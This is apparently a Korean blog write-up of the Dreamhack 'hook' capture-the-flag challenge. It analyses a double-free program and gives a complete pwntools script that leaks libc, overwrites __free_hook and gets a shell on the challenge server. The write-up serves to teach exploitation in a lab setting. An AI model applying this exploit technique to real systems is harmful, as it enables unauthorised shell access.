hook
Desciption 이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
dreamhack.io
문제 분석
PIE는 없으나 Full RELRO + Canary이므로 GOT에 무언가를 쓰는 것은 무리인 것 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
|
cs |
코드를 읽어보니 stdout의 주소를 출력해주고
size를 입력받아 ptr을 size만큼 동적으로 할당해주고
1
|
*(long *)*ptr = *(ptr+1);
|
cs |
위 식을 해석해보면
ptr의 값을 ptr + 8byte 위치의 값으로 변환해주고
ptr을 해제하는데, 해제를 두 번 진행하여 seg fault를 유발시킨다.
그리고 system 함수를 실행하는데,
seg fault가 발생하므로 system 함수 실행 전에 프로그램이 종료된다.
즉, ptr을 해제하는 과정에서 system 함수를 실행시키면 될 것 같다.
ptr[0]에는 free_hook을 넣어주고
ptr[1]에는 system(”/bin/sh”)의 주소를 넣어주면
free(ptr)이 실행되었을 때 __free_hook이 실행이 되게 되는데,
__free_hook의 값은 system함수로 덮여있으므로 system(”bin/sh”)가 실행되게 된다.
Exploit
먼저 strout을 통해 libc의 주소를 알아내야한다.
그리고 __free_hook이 저장된 주소를 계산해야한다.
1
2
3
|
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
hook_addr = libc_base + libc.symbols["__free_hook"]
|
cs |
이후 ptr에 hook_addr을 삽입하고,
*(ptr + 1)의 값을 system("/bin/sh")로 저장해주기 위해 해당 문자열의 주소를 넣어준다.
해서 작성한 페이로드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
p = remote("host3.dreamhack.games", 12601)
e = ELF("./hook")
libc = ELF("./libc-2.23.so")
bin_sh = 0x0000000000400a11
p.recvuntil(b"stdout: ")
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
hook_addr = libc_base + libc.symbols["__free_hook"]
payload = p64(hook_addr)
payload += p64(bin_sh)
p.sendlineafter(b"Size: ", "40")
p.sendlineafter(b"Data: ", payload)
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
out of bound (0) | 2024.01.18 |
---|---|
oneshot (0) | 2024.01.18 |
Free Hook Overwrite (0) | 2024.01.18 |